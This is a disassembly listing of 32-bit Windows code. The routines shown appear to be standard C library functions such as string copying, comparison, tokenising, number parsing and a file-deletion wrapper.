loc_41C491: ; CODE XREF: sub_41C3B1+DCj
push edi
push ebx
push [ebp+arg_C]
call sub_420B29
mov eax, [ebp+arg_C]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41C4A8: ; CODE XREF: sub_41C3B1+D6j
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_41C4F3
sub eax, [ebp+var_4]
cmp eax, esi
jnb short loc_41C4B8
mov esi, eax
loc_41C4B8: ; CODE XREF: sub_41C3B1+103j
push esi
push [ebp+var_4]
push edi
call sub_420B29
add esp, 0Ch
and byte ptr [esi+edi], 0
jmp short loc_41C4F3
; ---------------------------------------------------------------------------
loc_41C4CB: ; CODE XREF: sub_41C3B1+CCj
; sub_41C3B1+D0j
mov edi, [ebp+arg_C]
test edi, edi
jz short loc_41C4E9
sub eax, ebx
cmp eax, esi
jnb short loc_41C4DA
mov esi, eax
loc_41C4DA: ; CODE XREF: sub_41C3B1+125j
push esi
push ebx
push edi
call sub_420B29
add esp, 0Ch
and byte ptr [esi+edi], 0
loc_41C4E9: ; CODE XREF: sub_41C3B1+11Fj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_41C4F3
and byte ptr [eax], 0
loc_41C4F3: ; CODE XREF: sub_41C3B1+FCj
; sub_41C3B1+118j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41C3B1 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C500 proc near ; CODE XREF: sub_401955+8p
; sub_401ACD+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_41C520
loc_41C50C: ; CODE XREF: sub_41C500+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_41C50C
loc_41C520: ; CODE XREF: sub_41C500+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_41C500 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C52F proc near ; CODE XREF: sub_401ACD+73F5p
; sub_401ACD+7424p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
mov ebx, [ebp+arg_0]
push edi
mov edi, ebx
jg short loc_41C543
xor eax, eax
jmp short loc_41C579
; ---------------------------------------------------------------------------
loc_41C543: ; CODE XREF: sub_41C52F+Ej
dec [ebp+arg_4]
push esi
jz short loc_41C573
mov esi, [ebp+arg_8]
loc_41C54C: ; CODE XREF: sub_41C52F+42j
dec dword ptr [esi+4]
js short loc_41C55B
mov ecx, [esi]
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
jmp short loc_41C562
; ---------------------------------------------------------------------------
loc_41C55B: ; CODE XREF: sub_41C52F+20j
push esi
call sub_41F8E3
pop ecx
loc_41C562: ; CODE XREF: sub_41C52F+2Aj
cmp eax, 0FFFFFFFFh
jz short loc_41C57D
mov [edi], al
inc edi
cmp al, 0Ah
jz short loc_41C573
dec [ebp+arg_4]
jnz short loc_41C54C
loc_41C573: ; CODE XREF: sub_41C52F+18j
; sub_41C52F+3Dj ...
and byte ptr [edi], 0
loc_41C576: ; CODE XREF: sub_41C52F+55j
mov eax, ebx
pop esi
loc_41C579: ; CODE XREF: sub_41C52F+12j
pop edi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41C57D: ; CODE XREF: sub_41C52F+36j
cmp edi, [ebp+arg_0]
jnz short loc_41C573
xor ebx, ebx
jmp short loc_41C576
sub_41C52F endp
; =============== S U B R O U T I N E =======================================
sub_41C586 proc near ; CODE XREF: sub_41E52A+11Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41C59D
add esp, 10h
retn
sub_41C586 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C59D proc near ; CODE XREF: sub_41C586+Ep
; sub_41C7A5+Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
and [ebp+var_8], 0
push esi
push edi
mov edi, [ebp+arg_0]
mov bl, [edi]
lea esi, [edi+1]
mov [ebp+var_4], esi
loc_41C5B5: ; CODE XREF: sub_41C59D+46j
cmp dword_43D084, 1
jle short loc_41C5CD
movzx eax, bl
push 8
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41C5DC
; ---------------------------------------------------------------------------
loc_41C5CD: ; CODE XREF: sub_41C59D+1Fj
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 8
loc_41C5DC: ; CODE XREF: sub_41C59D+2Ej
test eax, eax
jz short loc_41C5E5
mov bl, [esi]
inc esi
jmp short loc_41C5B5
; ---------------------------------------------------------------------------
loc_41C5E5: ; CODE XREF: sub_41C59D+41j
cmp bl, 2Dh
mov [ebp+var_4], esi
jnz short loc_41C5F3
or [ebp+arg_C], 2
jmp short loc_41C5F8
; ---------------------------------------------------------------------------
loc_41C5F3: ; CODE XREF: sub_41C59D+4Ej
cmp bl, 2Bh
jnz short loc_41C5FE
loc_41C5F8: ; CODE XREF: sub_41C59D+54j
mov bl, [esi]
inc esi
mov [ebp+var_4], esi
loc_41C5FE: ; CODE XREF: sub_41C59D+59j
mov eax, [ebp+arg_8]
test eax, eax
jl loc_41C795
cmp eax, 1
jz loc_41C795
cmp eax, 24h
jg loc_41C795
push 10h
test eax, eax
pop ecx
jnz short loc_41C646
cmp bl, 30h
jz short loc_41C630
mov [ebp+arg_8], 0Ah
jmp short loc_41C662
; ---------------------------------------------------------------------------
loc_41C630: ; CODE XREF: sub_41C59D+88j
mov al, [esi]
cmp al, 78h
jz short loc_41C643
cmp al, 58h
jz short loc_41C643
mov [ebp+arg_8], 8
jmp short loc_41C662
; ---------------------------------------------------------------------------
loc_41C643: ; CODE XREF: sub_41C59D+97j
; sub_41C59D+9Bj
mov [ebp+arg_8], ecx
loc_41C646: ; CODE XREF: sub_41C59D+83j
cmp [ebp+arg_8], ecx
jnz short loc_41C662
cmp bl, 30h
jnz short loc_41C662
mov al, [esi]
cmp al, 78h
jz short loc_41C65A
cmp al, 58h
jnz short loc_41C662
loc_41C65A: ; CODE XREF: sub_41C59D+B7j
mov bl, [esi+1]
inc esi
inc esi
mov [ebp+var_4], esi
loc_41C662: ; CODE XREF: sub_41C59D+91j
; sub_41C59D+A4j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov edi, 103h
mov [ebp+var_C], eax
loc_41C672: ; CODE XREF: sub_41C59D+16Cj
cmp dword_43D084, 1
movzx esi, bl
jle short loc_41C68A
push 4
push esi
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41C695
; ---------------------------------------------------------------------------
loc_41C68A: ; CODE XREF: sub_41C59D+DFj
mov eax, off_43CE78
mov al, [eax+esi*2]
and eax, 4
loc_41C695: ; CODE XREF: sub_41C59D+EBj
test eax, eax
jz short loc_41C6A1
movsx ecx, bl
sub ecx, 30h
jmp short loc_41C6D3
; ---------------------------------------------------------------------------
loc_41C6A1: ; CODE XREF: sub_41C59D+FAj
cmp dword_43D084, 1
jle short loc_41C6B5
push edi
push esi
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41C6C0
; ---------------------------------------------------------------------------
loc_41C6B5: ; CODE XREF: sub_41C59D+10Bj
mov eax, off_43CE78
mov ax, [eax+esi*2]
and eax, edi
loc_41C6C0: ; CODE XREF: sub_41C59D+116j
test eax, eax
jz short loc_41C70E
movsx eax, bl
push eax
call sub_420BB3
pop ecx
mov ecx, eax
sub ecx, 37h
loc_41C6D3: ; CODE XREF: sub_41C59D+102j
cmp ecx, [ebp+arg_8]
jnb short loc_41C70E
mov esi, [ebp+var_8]
or [ebp+arg_C], 8
cmp esi, [ebp+var_C]
jb short loc_41C6F8
jnz short loc_41C6F2
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp ecx, edx
jbe short loc_41C6F8
loc_41C6F2: ; CODE XREF: sub_41C59D+147j
or [ebp+arg_C], 4
jmp short loc_41C701
; ---------------------------------------------------------------------------
loc_41C6F8: ; CODE XREF: sub_41C59D+145j
; sub_41C59D+153j
imul esi, [ebp+arg_8]
add esi, ecx
mov [ebp+var_8], esi
loc_41C701: ; CODE XREF: sub_41C59D+159j
mov eax, [ebp+var_4]
inc [ebp+var_4]
mov bl, [eax]
jmp loc_41C672
; ---------------------------------------------------------------------------
loc_41C70E: ; CODE XREF: sub_41C59D+125j
; sub_41C59D+139j
mov ecx, [ebp+arg_C]
dec [ebp+var_4]
mov edx, [ebp+arg_4]
test cl, 8
jnz short loc_41C72C
test edx, edx
jz short loc_41C726
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_41C726: ; CODE XREF: sub_41C59D+181j
and [ebp+var_8], 0
jmp short loc_41C779
; ---------------------------------------------------------------------------
loc_41C72C: ; CODE XREF: sub_41C59D+17Dj
test cl, 4
mov eax, 7FFFFFFFh
jnz short loc_41C752
test cl, 1
jnz short loc_41C779
and ecx, 2
jz short loc_41C749
cmp [ebp+var_8], 80000000h
ja short loc_41C752
loc_41C749: ; CODE XREF: sub_41C59D+1A1j
test ecx, ecx
jnz short loc_41C779
cmp [ebp+var_8], eax
jbe short loc_41C779
loc_41C752: ; CODE XREF: sub_41C59D+197j
; sub_41C59D+1AAj
test byte ptr [ebp+arg_C], 1
mov dword_4DBDDC, 22h
jz short loc_41C768
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_41C779
; ---------------------------------------------------------------------------
loc_41C768: ; CODE XREF: sub_41C59D+1C3j
mov ecx, [ebp+arg_C]
and cl, 2
neg cl
sbb ecx, ecx
neg ecx
add ecx, eax
mov [ebp+var_8], ecx
loc_41C779: ; CODE XREF: sub_41C59D+18Dj
; sub_41C59D+19Cj ...
test edx, edx
jz short loc_41C782
mov eax, [ebp+var_4]
mov [edx], eax
loc_41C782: ; CODE XREF: sub_41C59D+1DEj
test byte ptr [ebp+arg_C], 2
jz short loc_41C790
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_41C790: ; CODE XREF: sub_41C59D+1E9j
mov eax, [ebp+var_8]
jmp short loc_41C7A0
; ---------------------------------------------------------------------------
loc_41C795: ; CODE XREF: sub_41C59D+66j
; sub_41C59D+6Fj ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41C79E
mov [eax], edi
loc_41C79E: ; CODE XREF: sub_41C59D+1FDj
xor eax, eax
loc_41C7A0: ; CODE XREF: sub_41C59D+1F6j
pop edi
pop esi
pop ebx
leave
retn
sub_41C59D endp
; =============== S U B R O U T I N E =======================================
sub_41C7A5 proc near ; CODE XREF: sub_401ACD+60F0p
; sub_401ACD+6931p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41C59D
add esp, 10h
retn
sub_41C7A5 endp
; =============== S U B R O U T I N E =======================================
sub_41C7BC proc near ; CODE XREF: sub_401ACD+58ADp
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_427088 ; DeleteFileA
test eax, eax
jnz short loc_41C7D2
call dword_427094 ; RtlGetLastWin32Error
jmp short loc_41C7D4
; ---------------------------------------------------------------------------
loc_41C7D2: ; CODE XREF: sub_41C7BC+Cj
xor eax, eax
loc_41C7D4: ; CODE XREF: sub_41C7BC+14j
test eax, eax
jz short loc_41C7E3
push eax
call sub_420C7F
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41C7E3: ; CODE XREF: sub_41C7BC+1Aj
xor eax, eax
retn
sub_41C7BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C7E6 proc near ; CODE XREF: sub_401ACD+5801p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_0]
call sub_420CE6
mov esi, eax
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41FF3F
push [ebp+arg_0]
mov edi, eax
push esi
call sub_420D73
add esp, 18h
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_41C7E6 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C820 proc near ; CODE XREF: sub_401ACD+1E1Fp
; sub_401ACD+1E3Ep ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_41C841
xor eax, eax
jmp short loc_41C843
; ---------------------------------------------------------------------------
loc_41C841: ; CODE XREF: sub_41C820+1Bj
mov eax, edi
loc_41C843: ; CODE XREF: sub_41C820+1Fj
cld
pop edi
leave
retn
sub_41C820 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C850 proc near ; CODE XREF: sub_401ACD+854p
; sub_41E52A+93p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_41C881
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_41C87F
jz short loc_41C881
dec ecx
dec ecx
loc_41C87F: ; CODE XREF: sub_41C850+29j
not ecx
loc_41C881: ; CODE XREF: sub_41C850+9j
; sub_41C850+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_41C850 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C890 proc near ; CODE XREF: sub_401ACD+42Dp
; sub_401ACD+2FB3p ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_41C901
sub_41C890 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C8A0 proc near ; CODE XREF: sub_401ACD+436p
; sub_401ACD+746Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_41C8BC
loc_41C8AD: ; CODE XREF: sub_41C8A0+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_41C8EF
test ecx, 3
jnz short loc_41C8AD
loc_41C8BC: ; CODE XREF: sub_41C8A0+Bj
; sub_41C8A0+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41C8BC
mov eax, [ecx-4]
test al, al
jz short loc_41C8FE
test ah, ah
jz short loc_41C8F9
test eax, 0FF0000h
jz short loc_41C8F4
test eax, 0FF000000h
jz short loc_41C8EF
jmp short loc_41C8BC
; ---------------------------------------------------------------------------
loc_41C8EF: ; CODE XREF: sub_41C8A0+12j
; sub_41C8A0+4Bj
lea edi, [ecx-1]
jmp short loc_41C901
; ---------------------------------------------------------------------------
loc_41C8F4: ; CODE XREF: sub_41C8A0+44j
lea edi, [ecx-2]
jmp short loc_41C901
; ---------------------------------------------------------------------------
loc_41C8F9: ; CODE XREF: sub_41C8A0+3Dj
lea edi, [ecx-3]
jmp short loc_41C901
; ---------------------------------------------------------------------------
loc_41C8FE: ; CODE XREF: sub_41C8A0+39j
lea edi, [ecx-4]
loc_41C901: ; CODE XREF: sub_41C890+5j
; sub_41C8A0+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_41C926
loc_41C90D: ; CODE XREF: sub_41C8A0+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_41C978
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_41C90D
jmp short loc_41C926
; ---------------------------------------------------------------------------
loc_41C921: ; CODE XREF: sub_41C8A0+9Ej
; sub_41C8A0+B8j
mov [edi], edx
add edi, 4
loc_41C926: ; CODE XREF: sub_41C8A0+6Bj
; sub_41C8A0+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_41C921
test dl, dl
jz short loc_41C978
test dh, dh
jz short loc_41C96F
test edx, 0FF0000h
jz short loc_41C962
test edx, 0FF000000h
jz short loc_41C95A
jmp short loc_41C921
; ---------------------------------------------------------------------------
loc_41C95A: ; CODE XREF: sub_41C8A0+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C962: ; CODE XREF: sub_41C8A0+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C96F: ; CODE XREF: sub_41C8A0+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C978: ; CODE XREF: sub_41C8A0+72j
; sub_41C8A0+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_41C8A0 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41C990
loc_41C980: ; CODE XREF: sub_41C990+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_41C990
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C990 proc near ; CODE XREF: sub_401ACD+412p
; sub_401ACD+4B9p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 0041C980 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_41C996: ; CODE XREF: sub_41C2E0+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_41C9BB
loc_41C9A8: ; CODE XREF: sub_41C990+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_41C980
test cl, cl
jz short loc_41CA04
test edx, 3
jnz short loc_41C9A8
loc_41C9BB: ; CODE XREF: sub_41C990+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_41C9C6: ; CODE XREF: sub_41C990+61j
; sub_41C990+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_41CA08
and eax, 81010100h
jz short loc_41C9C6
and eax, 1010100h
jnz short loc_41CA02
and esi, 80000000h
jnz short loc_41C9C6
loc_41CA02: ; CODE XREF: sub_41C990+68j
; sub_41C990+81j ...
pop esi
pop edi
loc_41CA04: ; CODE XREF: sub_41C990+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41CA08: ; CODE XREF: sub_41C990+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_41CA45
test al, al
jz short loc_41CA02
cmp ah, bl
jz short loc_41CA3E
test ah, ah
jz short loc_41CA02
shr eax, 10h
cmp al, bl
jz short loc_41CA37
test al, al
jz short loc_41CA02
cmp ah, bl
jz short loc_41CA30
test ah, ah
jz short loc_41CA02
jmp short loc_41C9C6
; ---------------------------------------------------------------------------
loc_41CA30: ; CODE XREF: sub_41C990+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41CA37: ; CODE XREF: sub_41C990+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41CA3E: ; CODE XREF: sub_41C990+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41CA45: ; CODE XREF: sub_41C990+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_41C990 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41CA50 proc near ; CODE XREF: sub_401ACD+1AEp
; sub_401ACD+205p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_41CA9C
loc_41CA60: ; CODE XREF: sub_41CA50+3Cj
; sub_41CA50+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_41CA94
or al, al
jz short loc_41CA90
cmp ah, [ecx+1]
jnz short loc_41CA94
or ah, ah
jz short loc_41CA90
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_41CA94
or al, al
jz short loc_41CA90
cmp ah, [ecx+3]
jnz short loc_41CA94
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_41CA60
mov edi, edi
loc_41CA90: ; CODE XREF: sub_41CA50+18j
; sub_41CA50+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41CA94: ; CODE XREF: sub_41CA50+14j
; sub_41CA50+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41CA9C: ; CODE XREF: sub_41CA50+Ej
test edx, 1
jz short loc_41CAB8
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_41CA94
inc ecx
or al, al
jz short loc_41CA90
test edx, 2
jz short loc_41CA60
loc_41CAB8: ; CODE XREF: sub_41CA50+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_41CA94
or al, al
jz short loc_41CA90
cmp ah, [ecx+1]
jnz short loc_41CA94
or ah, ah
jz short loc_41CA90
add ecx, 2
jmp short loc_41CA60
sub_41CA50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CAD4 proc near ; CODE XREF: sub_401ACD+B5p
; sub_401ACD+D5p ...
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
push 8
xor eax, eax
pop ecx
lea edi, [ebp+var_20]
rep stosd
push 7
pop edi
loc_41CAED: ; CODE XREF: sub_41CAD4+32j
mov dl, [esi]
mov bl, 1
movzx ecx, dl
mov eax, ecx
and ecx, edi
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_20]
or [eax], bl
inc esi
test dl, dl
jnz short loc_41CAED
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_41CB15
mov edx, dword_4DBE28
loc_41CB15: ; CODE XREF: sub_41CAD4+39j
; sub_41CAD4+5Fj
mov al, [edx]
push 1
movzx esi, al
mov ecx, esi
pop ebx
and ecx, edi
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test bl, cl
jz short loc_41CB35
test al, al
jz short loc_41CB35
inc edx
jmp short loc_41CB15
; ---------------------------------------------------------------------------
loc_41CB35: ; CODE XREF: sub_41CAD4+58j
; sub_41CAD4+5Cj
mov ebx, edx
loc_41CB37: ; CODE XREF: sub_41CAD4+81j
mov al, [edx]
test al, al
jz short loc_41CB5B
movzx esi, al
mov ecx, esi
push 1
and ecx, edi
pop eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test al, cl
jnz short loc_41CB57
inc edx
jmp short loc_41CB37
; ---------------------------------------------------------------------------
loc_41CB57: ; CODE XREF: sub_41CAD4+7Ej
and byte ptr [edx], 0
inc edx
loc_41CB5B: ; CODE XREF: sub_41CAD4+67j
mov eax, ebx
pop edi
sub eax, edx
pop esi
neg eax
sbb eax, eax
mov dword_4DBE28, edx
and eax, ebx
pop ebx
leave
retn
sub_41CAD4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CB70 proc near ; CODE XREF: sub_409823+1Cp
; sub_415DAC+19p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push [ebp+arg_C]
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
mov [ebp+var_14], 42h
push eax
call sub_41FF3F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41CBAE
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41CBBB
; ---------------------------------------------------------------------------
loc_41CBAE: ; CODE XREF: sub_41CB70+34j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41FE2A
pop ecx
pop ecx
loc_41CBBB: ; CODE XREF: sub_41CB70+3Cj
mov eax, esi
pop esi
leave
retn
sub_41CB70 endp
; =============== S U B R O U T I N E =======================================
sub_41CBC0 proc near ; CODE XREF: sub_40ADE1+88p
; sub_40B90E+60p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_41CC74
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_41CBEA
loc_41CBDB: ; CODE XREF: sub_41CBC0+28j
mov al, [edi]
inc edi
test al, al
jz short loc_41CC1B
test edi, 3
jnz short loc_41CBDB
loc_41CBEA: ; CODE XREF: sub_41CBC0+19j
; sub_41CBC0+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_41CBEA
mov eax, [edi-4]
test al, al
jz short loc_41CC28
test ah, ah
jz short loc_41CC23
test eax, 0FF0000h
jz short loc_41CC1E
test eax, 0FF000000h
jnz short loc_41CBEA
loc_41CC1B: ; CODE XREF: sub_41CBC0+20j
dec edi
jmp short loc_41CC2B
; ---------------------------------------------------------------------------
loc_41CC1E: ; CODE XREF: sub_41CBC0+52j
sub edi, 2
jmp short loc_41CC2B
; ---------------------------------------------------------------------------
loc_41CC23: ; CODE XREF: sub_41CBC0+4Bj
sub edi, 3
jmp short loc_41CC2B
; ---------------------------------------------------------------------------
loc_41CC28: ; CODE XREF: sub_41CBC0+47j
sub edi, 4
loc_41CC2B: ; CODE XREF: sub_41CBC0+5Cj
; sub_41CBC0+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_41CC40
mov ebx, ecx
shr ecx, 2
jnz short loc_41CC8C
jmp short loc_41CC5C
; ---------------------------------------------------------------------------
loc_41CC40: ; CODE XREF: sub_41CBC0+75j
; sub_41CBC0+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_41CC7A
mov [edi], dl
inc edi
dec ecx
jz short loc_41CC70
test esi, 3
jnz short loc_41CC40
mov ebx, ecx
shr ecx, 2
jnz short loc_41CC8C
loc_41CC5C: ; CODE XREF: sub_41CBC0+7Ej
; sub_41CBC0+CAj
mov ecx, ebx
and ecx, 3
jz short loc_41CC70
loc_41CC63: ; CODE XREF: sub_41CBC0+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_41CC72
dec ecx
jnz short loc_41CC63
loc_41CC70: ; CODE XREF: sub_41CBC0+8Bj
; sub_41CBC0+A1j
mov [edi], cl
loc_41CC72: ; CODE XREF: sub_41CBC0+ABj
pop ebx
pop esi
loc_41CC74: ; CODE XREF: sub_41CBC0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41CC7A: ; CODE XREF: sub_41CBC0+85j
; sub_41CBC0+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41CC84: ; CODE XREF: sub_41CBC0+E4j
; sub_41CBC0+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41CC5C
loc_41CC8C: ; CODE XREF: sub_41CBC0+7Cj
; sub_41CBC0+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41CC84
test dl, dl
jz short loc_41CC7A
test dh, dh
jz short loc_41CCD8
test edx, 0FF0000h
jz short loc_41CCC8
test edx, 0FF000000h
jnz short loc_41CC84
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41CCC8: ; CODE XREF: sub_41CBC0+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41CCD8: ; CODE XREF: sub_41CBC0+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41CBC0 endp
